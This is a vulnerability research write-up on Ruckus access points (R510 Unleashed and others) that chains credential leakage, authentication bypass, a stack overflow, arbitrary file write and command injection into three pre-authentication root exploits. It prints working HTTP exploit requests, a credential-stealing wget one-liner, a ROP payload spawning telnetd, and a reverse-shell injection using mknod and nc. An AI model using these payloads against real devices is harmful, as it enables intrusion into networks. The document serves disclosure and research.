Ruckus Networks is a company selling wired and wireless networking equipment and software. This article presents vulnerability research conducted on Ruckus access points. It resulted in 3 different pre-authentication remote code executions. Exploitation uses various vulnerabilities, such as information and credentials leakage, authentication bypass, command injection, path traversal, stack overflow, and arbitrary file read/write. Throughout the research, we examined the firmware of 33 different access points. All were found vulnerable. This article also introduces and shares the framework used in this research. It includes a Ghidra script and a dockerized QEMU full system emulation for an easy, cross-architecture research setup.
This research began after attending “BlackHat USA 2019”. We noticed that Ruckus Wireless access points provided the conference’s guest WiFi. When we got back, we decided to give those access points a look. This article focuses on the “R510 Unleashed” access point. However, we believe that all of Ruckus’s indoor and outdoor APs that run firmware version 200.7.10.102.64 and below are vulnerable to the following findings. We examined C110, E510, H320, H510, M510, R310, R500, R510 R600, R610, R710, R720, T300, T301n, T310d, T610, T710, and T710s. Some vulnerabilities also affect ZoneDirector 1200 (10.1.1.0.55), as well. We managed to fingerprint some devices using “shodan.io”, and we noticed that there are thousands of devices accessible from the Internet.
Typical for embedded device vulnerability research, we started with downloading the latest firmware. We decided to focus on “R510 Unleashed”, that uses an ARMv7 CPU architecture. Ruckus offers regular WiFi access points that rely on a WiFi controller and an “Unleashed” version that does not rely on a controller.
After extracting the firmware, we decided to emulate the firmware’s binaries in QEMU. This research was done entirely with system emulation. We purchase a R510 device only after we discovered all three vulnerabilities. In this dockerhub, we got pre-built QEMU systems, for the following architectures: armv7, armv6, mips and mipsel. These dockers really help us emulating and setting up different router setups. For this study, we used a docker that wraps an ARMv7 QEMU system that running a Debian kernel. We managed to run most of the user space code using this setup.
All you have to do is to pull and run our docker:
docker run -it -p 5575:5575 waveburst/qemu-system-armhf
Our container includes an SSH server, so we can copy the squashfs
directory extracted from the firmware into our QEMU and chroot
from there.
Done, we got a chrooted device emulation in 5 minutes.
R510 uses ‘Embedthis-Appweb/3.4.2’ as its web interface server. Its default configuration is found on /bin/webs.conf
. Reviewing the configuration file showed us that the server’s root directory is /web
. We also could see that the server-side logic uses an ejs handler. ejs
is an embedded JavaScript engine. Moreover, we understood that there are no restrictions on file fetching. That meant we could fetch any file from the /web
directory, regardless of its file extension or type. In other words - no access control. Next, we wanted to investigate the /web
directory and see if there are any interesting files we can retrieve.
This attack scenario includes a web interface credential disclosure (CVE-2019-19843), and a CLI jailbreak (CVE-2019-19834) to obtain a root shell on the access point.
The /web
directory holds a relatively large number of files and directories. Most of them are standard html/js/css/images files, but there are also plenty of files with jsp
and mod
extensions. For some reason, jsp
is the extension that represents ejs source files, and mod
represents compiled ejs files. We later demonstrate that we don’t necessarily need a mod
file to run ejs functionality. In addition to these files, there are also symbolic links that point to different files and directories. Since there is no access control, those linked files are all fetchable!
➜ web ls -ld `find . -type l| grep -v "css\|js\|jpg\|ico\|png\|gif\|mod\|jsp"`
lrwxrwxrwx 1 wave wave 27 Apr 15 2019 ./tmp/temp_banner -> /tmp/uploadguestbanner_file
lrwxrwxrwx 1 wave wave 28 Apr 15 2019 ./tmp/temp_bgimage -> /tmp/uploadguestbgimage_file
lrwxrwxrwx 1 wave wave 18 Apr 15 2019 ./tmp/temp_debug -> /tmp/my_debug_file
lrwxrwxrwx 1 wave wave 25 Apr 15 2019 ./tmp/temp_logo -> /tmp/uploadguestlogo_file
lrwxrwxrwx 1 wave wave 19 Apr 15 2019 ./tmp/temp_map -> /tmp/uploadmap_file
lrwxrwxrwx 1 wave wave 26 Apr 15 2019 ./tmp/temp_weblogo -> /tmp/uploadguestlogo_file2
lrwxrwxrwx 1 wave wave 24 Apr 15 2019 ./uploaded -> /etc/airespider/uploaded
lrwxrwxrwx 1 wave wave 21 Apr 15 2019 ./user/upgrade_progress -> /tmp/upgrade_progress
lrwxrwxrwx 1 wave wave 4 Apr 15 2019 ./user/wps_tool_cache -> /tmp
lrwxrwxrwx 1 wave wave 33 Apr 15 2019 ./wpad.dat -> /etc/airespider/uploaded/wpad.dat
/tmp
: CVE-2019-19843The above command showed us there was a symbolic link from /web/user/wps_tool_cache
to /tmp
directory. Since we ran R510 in a full QEMU system, we noticed there was some system logic stored in the /tmp
directory. In particular, rpm.log
was written as a part of system initialization. When examining this log file, we noticed that every day, rpmd
created a backup file named /var/run/rpmkey
with a new revision number.
Fortunately, /var/run
was also symbolically linked to /tmp/
, so we could fetch this file as well. rpmkey
contained some binary data. To examine its content, we used the strings
command. strings
output showed us two interesting fields: all_powerful_login_name
and all_powerful_login_password
. These were the device’s admin credentials in plaintext. Conveniently, the rpmkey revision number was stored at /var/run/rpmkey.rev. That helped us write a bash one-liner that retrieves the device’s credentials:
➜ demo num=$(wget -q -O - 192.168.0.1/user/wps_tool_cache/var/run/rpmkey.rev);\
wget -q -O - 192.168.0.1/user/wps_tool_cache/var/run/rpmkey$num|\
strings|grep -A 1 all_powerful_login
all_powerful_login_name
admin
all_powerful_login_password
mooncake
Note: Although we did not include the ZoneDirector 1200 WiFi controller in our research, we confirmed that it is vulnerable to file fetching from /tmp
directory as well.
Since we could fetch admin credentials, popping a busybox
shell would be our next step. The firmware includes a dropbear
executable. With the admin credentials, we could enable it from the web interface, in case it was not already enabled. The dropbear
server uses the same credentials as the web interface. However, it runs an alternative shell binary called ruckus_cli2
. But we couldn’t get it to run any command we would like. Analyzing this binary with Ghidra showed there was a hidden command called !v54!,
that should pop a busybox
shell.
However, !v54!
command requires the device’s serial number. Since we couldn’t necessarily know this serial number, a different approach was required. ruckus_cli2
supports a limited script environment, that can run some saved shell scripts. The exec
command runs a script by calling execve
system call with a given path. However, the exec
command is vulnerable to path traversal, and can be used to pop a busybox shell:
That is the first way to own this AP.
The next step was to understand the implementation behind the web interface, and look for some bugs. This was the time to use Ghidra for some binary decompilation.
The following binaries oversee the web interface logic:
/bin/webs
- an “Embedthis-Appweb” web server, that handles HTTP/S requests and executes handlers according to its configuration. It sends commands through a Unix domain socket to emfd
.
/bin/emfd
- an executable that contains the web interface logic, it maps functions from jsa
pages to its functions. It implements web interface commands such as backup, network/firewall configuration, retrieval of system information, and more.
/usr/lib/libemf.so
- This library is used by emfd
for web authentication and sanitation.
Ruckus left verbose log strings in the binary’s compiled code. The left log strings are for all levels (INFO/WARN/ERROR/DEBUG). They also contain the function name that printed the logline.
Thanks to the Ghidra scripting environment, we could search for these log strings and extract the associated function names. Then we could rename the default function names with the ones we found.
In the emfd
case, it decreased the number of “un-named” functions by almost 50%, from 1505 to 874.
Note: Leaving sensitive information in log files is a common mistake in general, and particularly in embedded devices. With the help of our team member Vera Mens, we rewrote this script. It is now flexible enough to run on different binaries and search for function name patterns. This script may be useful in many projects and can be found on our github
emfd
function mapping:When emfd
starts, it maps function name strings to function pointers. The web server uses an ejs handler to call functions in emfd
. The ejs
syntax that calls a function is Delegate()
or DelegateAsyn()
. For example, a request to /admin/_updateGuestImageName.jsp
runs an ejs handler (_updateGuestImageName.jsp), that uses <%Delegate(‘UploadVerify’, session[‘cid’], action);%>
, which will make emfd
call a function called ‘UploadVerify’()
.
➜ web cat ./admin/_updateGuestImageName.jsp
<%
var action = params['action'];
Delegate('UploadVerify', session['cid'], action);
%>
<script>
var dd = "<%=action%>";
console.log(dd);
</script>
The web interface supports 4 permission levels: admin, fmuser, user, and guest. The role of emfd
is to enforce these permissions. A session is created after a successful request to a jsa
page that uses a Delegate()
call for user authentication.
➜ web grep -nr --include \*login\*.jsp Auth .|grep Delegate
./admin/login.jsp:25: Delegate("AuthAdmin", session['cid'], params["username"], params["password"]);
./admin/fmlogin.jsp:18: Delegate("AuthFM", params["password"], isAdmin,params["fm_user"]);
./user/user_login_web.jsp:47: Delegate("AuthUser", session['cid'], params["username"], params["password"], task, params['email'], params['user'], params['ssid']);
./user/user_login_web.jsp:49: Delegate("AuthUser", session['cid'], params["username"], params["password"], task);
./user/user_login.jsp:41: Delegate("AuthUser", session['cid'], params["username"], params["password"], task, params['email'], params['user'], params['ssid']);
./user/user_login.jsp:43: Delegate("AuthUser", session['cid'], params["username"], params["password"], task);
./user/guest_login.jsp:13: Delegate("AuthGuest", cookie, params['key'], '', redirecturl);
./user/oauth_login.jsp:18:Delegate("OAuthGetLogin", state);
./user/oauth_login2.jsp:4:Delegate("RedirectToOAuthServer", oauth_id,redirecturl);
./uam/_login.jsp:76:Delegate("AuthHotspotUser", cid, username, password, ip, task);
./selfguestpass/login.jsp:13: Delegate("AuthGuest", cookie, params['key'], '', redirecturl);
If a specific jsa
page requires authentication, it’s the page’s responsibility to verify the session validity. Every jsa
page should use a Delegate()
call with either SessionCheck
or GuestSessionCheck
, to check whether a session is authenticated or considered a guest, accordingly. If no such call is present, then any Delegate()
function called by this jsa
page does not require authentication. In the following exploits, we sought to avoid any authentication or guest access.
We used the grep
command to check which jsa
pages required no authenticated session.
➜ web grep -l Delegate $(grep -L -nr -m1 --include \*.jsp Check .)|wc -l
67
There were 67 jsa
pages that did not perform any sort of session validation. Next, we wanted to check what functions are called by Delegate()
.
➜ web grep Delegate $(grep -L -nr -m1 --include \*.jsp Check .)|\
cut -f2 -d"("| awk -F"\)|," '{ print $1 }'|sort|uniq
"AjaxRestrictedCmdStat"
'AllowClient'
'AllowClientTmp'
"AuthExternUser"
"AuthFM"
"AuthGuest"
"AuthHotspotUser"
"AuthUser"
"ChangeSponsorEmail"
"Cluster"
"Download"
"DownloadProv"
'FillPageVars'
"FillPageVars"
"GetApprovalList"
"GetDeviceList"
'GetLogo'
'GetSelfServiceTOU'
"GetSocialDefaultUrl"
"LogoutAdmin"
"LogoutHotspotUser"
"OAuthGetLogin"
"PassOnborading"
"QueryApprovalStatus"
"RecoveryGuestPass"
"RedirectToOAuthServer"
"RejectDevice"
'SmartClientOnly'
'TOU'
"UpdateUserContact"
'UploadVerify'
"UserRegistration"
"WechatGetLogin"
Determined by its name, AjaxRestrictedCmdStat()
seemed like an excellent function to start reversing. But before we get into it, let us understand how Ajax requests work.
This attack scenario includes a stack buffer overflow in the zap
executable (CVE-2019-19843). It is exploitable by sending an unauthenticated HTTP request to the web interface (CVE-2019-19836).
Since we ran the device in a QEMU full system emulation, we could intercept Ajax requests sent to the web interface. It helped us understand the XML structure emfd
expects. Let’s look at the /admin/_cmdstat.jsp
request body:
comp
- informs emfd
which adapter to use. Adapters are the emfd
logical blocks. All supported adapters are registered during startup.
action
- sets the function to use for a given adapter. Each adapter defines the actions it supports. Actions might require more attributes or child nodes. In our example, action=docmd
requires xcmd
, both as an attribute and as a child note.
updater
- contains the adapter name with a timestamp. Its value is not necessary for our exploits.
Reversing this function in Ghdira revealed that it expects the attributes xcmd='wc'
and comp='zapd'
. If the request is valid, it is passed to AjaxCmdStat()
. AjaxCmdStat()
handles all of the Ajax logic. It uses adapter_doCommand()
to pass the request to a function called doCommand()
.
doCommand()
is a large switch case function, that executes different commands based on the information form the request. The attribute cmd
describes which functionality to run. With AjaxRestrictedCmdStat()
, we could only pass wc
to doCommand()
. The wc
command expects additional attributes - wcid
, tool
, server
, client
, and zap-type
. If it gets all of them, it calls a shell script wrapper to execute a command called zap
. Some attributes must match a specific value to get the command running. However, none of them pass sanitation. Therefore, we could pass any string with any length to the zap
command.
Note: zap
is also vulnerable to SSRF since it sends traffic to any IP address given. CVE-2019-19835
zap
:Luckily, the source code for zap
is available online. In its documentation, it is described as “designed to be a robust network performance test tool”. Examining the code in zap.c
revealed that it contains a stack overflow in its “-D” argument parsing.
case 'D':
// int len = strlen(debug_line);
for ( j = 2; j < ( int )strlen( argv[i] ); j++ ) {
if ( argv[i][j] == ',' ) {
argv[i][j] = ' ';
}
}
/*Get debug file name*/
for ( j = 0; j < ( int )strlen( argv[i] ); j++ ) {
if ( argv[i][j] == ' ' ) {
config->debugfile = (char*)malloc(j * sizeof(char));
strncpy(config->debugfile, argv[i] + 2, j-2);
config->debugfile[j-2] = '\0';
break;
}
}
/*Get the start point*/
printf("%s\n", argv[i]);
for ( k = j+1; k < ( int )strlen( argv[i] ); k++ ) {
if ( argv[i][k] == ' ' ) {
char temp[10];
printf("%s\nlen: %d-%d=%d\n", argv[i]+j,k,j, k-j);
strncpy(temp, argv[i]+j, k-j);
value = atoi(temp);
}
}
/*Get end point*/
for ( k = j+1; k < ( int )strlen( argv[i] ); k++ ) {
if ( argv[i][k] == ' ' ) {
printf("%s\n",&argv[i][k+1]);
if ( sscanf( &argv[i][k+1], "%d", &stop_value ) != 1 ) {
// Bad scan..
return 1;
}
}
}
break;
Here is the code that parses the “-D” argument. Let’s see what it does. First, it replaces all commas with spaces. Then it copies every segment to a temp buffer. Since it expects numbers, it uses a very small buffer. There was an attempt to secure the code by using strncpy
. However, it used the entire string length for n. So it doesn’t protect this string copy and we were able to smash the stack.
Since we were in control of zap’s arguments, we could pass an original argument, followed by “-D” with an overflow payload.
R510 runs on an ARMv7 architecture, with NX and ASLR enabled. To overcome NX we decided to use ROP gadgets.
POST /tools/_cmdstat.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded charset=UTF-8
Content-Length: 473
<ajax-request action='docmd' xcmd='wc' updater='system.1568118269965.3208' comp='zapd'>
<xcmd cmd='wc' comp='zapd' wcid=1 client='1.1.1.1' tool='zap-up' zap-type='udp' server='1.1.1.2 -D/tmp/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0A2p������p���5Ad6$r��d8Ad9Ae0Ae1A3Ae4Ae5Ae6A,e7AeCCCCDDDD������������f5Af6Af7,CCCC,telnetd,-l/bin/sh,-p12345' syspmtu=65500 />
</ajax-request>
Both gadget were found in libc:
As for ASLR - since zap is forked from emfd we used a brute force approach to overcome its 9 bit of randomness.
That is the second way to own this R510 AP.
This attack scenario includes an arbitrary file write using the zap
executable (CVE-2019-19836). It can create a new jsp
page, that does not require authentication and is vulnerable to command injection (CVE-2019-19838, CVE-2019-19839, CVE-2019-19841, CVE-2019-19842).
Let us understand how emfd
executes shell commands. emfd
uses 6 different functions to execute shell commands. Some of them are direct calls to functions in libc, such as system(), popen(), and execve(). Others call a wrapper that runs a shell script handler. This diversity in shell execution calls indicates that a bug, such as a command injection, might be feasible.
From the above functions, system()
is the easiest one to exploit. It also appears to have a high reference count (107). Our goal was to find a function that calls system()
in a way that we can control its argument. Here are 4 functions that met this criteria: cmdSpectraAnalysis() CVE-2019-19842, cmdImportAvpPort() CVE-2019-19838, cmdImportCatagory() CVE-2019-19839, and cmdPacketCapture() CVE-2019-19841. All 4 functions are reachable from doCommand()
via AjaxCmdStat()
, with the same mechanism described in scenario two.
However, they all depend on a request to /admin/_cmdstat.jsp
page. This page checks for session authentication
➜ squashfs-root cat web/admin/_cmdstat.jsp
<%
Delegate("SessionCheck", session["cid"], 'true');
var httpReq = request["headers"];
if(httpReq.HTTP_X_CSRF_TOKEN==session["cid"]
|| httpReq.HTTP_X_CSRF_TOKEN=='61a18965-f473-4f3b-97b1-4651d63b23fa'
|| session["isFactory"]=='true')
{
Delegate("AjaxCmdStat", session["cid"]);
}
%>
If the session is valid, all 4 functions should be vulnerable. We would like to focus on cmdImportAvpPort()
for this article.
Decompiling revealed that the uploadFile
attribute is obtained from the request XML, and inserted into the command
variable without sanitation. Any command injection payload should work here.
POST /tools/_cmdstat.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded charset=UTF-8
X-CSRF-Token: oaMM8EBv1Y
Content-Length: 225
Cookie: -ejs-session-=x236a14bd195e0f136942005c785bac52
<ajax-request action='docmd' xcmd='get-platform-depends' updater='system.1568118269965.3208' comp='system'>
<xcmd cmd='import-avpport' uploadFile='; echo "inject" >/tmp/steroids' type='wlan-maxnums'/>
</ajax-request>
Notice that a valid cookie and CSRF token are needed. We wanted to overcome this authentication requirement. If we could write a new page that calls Delegate("AjaxCmdStat", session["cid"]);
without conditions or session checks, it would meet the requirement. To write this kind of page, we needed an arbitrary file write vulnerability, and a writeable directory to write in /web
.
We discovered from the second scenario that we could pass unintended arguments to the zap
executable, without the need for authentication. The argument -L
tells zap
where to write its logfile, and it has no path limitations. Therefore, we could write a file to any location we wanted. But we still didn’t have full control over the written content. The log’s structure still limited us. Let us observe how zap_pkg_drop_dump_file()
in zap.c
writes a log file. It looks like this:
fileio = fopen( config->logfile, "r" );
if ( !fileio ) {
new_file = 1;
} else {
new_file = 0;
fclose( fileio );
}
fileio = fopen( config->logfile, "a+" );
if ( !fileio ) {
fprintf( stderr, "Error, file probably open by another application.\n" );
return 1;
}
// Dump package drop information.
if ( new_file ) {
// If a new file, make the first row have text tags for all the columns
fprintf( fileio, "Zap Version%c", delimit );
fprintf( fileio, "Filename%c", delimit );
fprintf( fileio, "Protocol%c", delimit );
fprintf( fileio, "Invert Open%c", delimit );
fprintf( fileio, "Tx IP%c", delimit );
fprintf( fileio, "Rx IP%c", delimit );
fprintf( fileio, "Multicast%c", delimit );
fprintf( fileio, "ToS%c", delimit );
fprintf( fileio, "Samples%c", delimit );
fprintf( fileio, "Sample Size%c", delimit );
fprintf( fileio, "Payload Length%c", delimit );
fprintf( fileio, "Payload Transmit Delay%c", delimit );
fprintf( fileio, "Payloads Received%c", delimit );
fprintf( fileio, "Payloads Dropped%c", delimit );
fprintf( fileio, "Payloads Repeated%c", delimit );
fprintf( fileio, "Payloads Outoforder%c", delimit );
fprintf( fileio, "Date%c", delimit );
fprintf( fileio, "Notes%c", delimit );
fprintf( fileio, "Tag%c", delimit );
fprintf( fileio, "Sub Tag%c", delimit );
fprintf( fileio, "\n" );
}
Luckily, config->note
, config->tag
, and config->sub
are all settable with arguments -N, -T, and -S respectively. We could use the same method to pass -T
and -S
as well.
zap -s192.168.0.1 -d192.168.0.2 -R -L/web/uploaded/index.jsp -T<%Delegate("AjaxCmdStat" -Ssession["cid"]);%> -X14 -q0xa0 -p50000 -l65444
zap
writes to the log file only if it creates a successful connection to a zapd
server. That means we had to create a zapd
server that answers to zap
. Fortunately, zapd.c
sources are also available online, and we successfully compiled it. After setting zap
to our zapd
server, we were able to write a page:
Lastly, we had to find a writeable directory in /web
. Since /web
is part of the squashfs
file system, it is a read-only directory. Thankfully, we could write to /web/uploaded
, since it’s symbolically linked to /writable/etc/airespider
➜ squashfs-root ls -lath web/uploaded
lrwxrwxrwx 1 wave wave 24 Apr 15 2019 web/uploaded -> /etc/airespider/uploaded
➜ squashfs-root ls -lath etc/airespider
lrwxrwxrwx 1 wave wave 24 Apr 15 2019 etc/airespider -> /writable/etc/airespider
Finally, we had all we needed to write a new jsp
page to the web interface. That page contains an ejs
call to our command injection vulnerability function. As previously mentioned in the article, even though every jsp
page has a related mod
file, it is not needed to get the ejs handler to execute the jsa
page. Now we could create a vulnerable page in /uploaded/index.jsp
POST /tools/_rcmdstat.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded charset=UTF-8
Content-Length: 304
<ajax-request action='docmd' xcmd='wc' updater='system.1568118269965.3208' comp='zapd'>
<xcmd cmd='wc' comp='zapd' wcid=1 client='192.168.0.1' tool='zap-up' zap-type='udp' server='192.168.0.2 -R -L/web/uploaded/index.jsp -T<%Delegate("AjaxCmdStat" -Ssession["cid"]);%>' syspmtu=65500 />
</ajax-request>
This request results in following page creation:
ruckus$ cat /web/uploaded/index.jsp
Zap Version,Filename,Protocol,Invert Open,Tx IP,Rx IP,Multicast,ToS,Samples,Sample Size,Payload Length,Payload Transmit Delay,Payloads Received,Payloads Dropped,Payloads Repeated,Payloads Outoforder,Date,Notes,Tag,Sub Tag,
1.83.19,/web/uploaded/index.jsp,udp,Off,192.168.0.2:192.168.0.2,192.168.0.1:192.168.0.1,Off,A0h,1000000,100,65444,1,92,7,0,0,Fri Mar 15 17:09:04 2019,,<%Delegate("AjaxCmdStat",session["cid"]);%>,
All there is left is to send our command injection to /uploaded/index.jsp
POST /uploaded/index.jsp HTTP/1.1
Content-Type: application/x-www-form-urlencoded charset=UTF-8
Content-Length: 261
<ajax-request action='docmd' xcmd='get-platform-depends' updater='system.1568118269965.3208' comp='system'>
<xcmd cmd='import-avpport' uploadFile=';rm /tmp/b;mknod /tmp/b p;/bin/sh 0</tmp/b|nc 192.168.0.2 4444 1>/tmp/b' type='wlan-maxnums'/>
</ajax-request>
And listen for our reverse shell:
➜ squashfs-root nc -vlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 192.168.0.1 49117 received!
echo $USER
root
That is the third way to own this AP.
This vulnerability research was exciting. It involved all sorts of different vulnerabilities. Chaining some of them together was challenging yet useful. This research was also an excellent opportunity to check our docker emulation environment. It proved itself to be very useful. Ruckus Wireless has been informed about these vulnerabilities. Ruckus Unleashed AP 200.7.10.202.92 should fix them. Since Ruckus has other attack surfaces, we might conduct follow up research.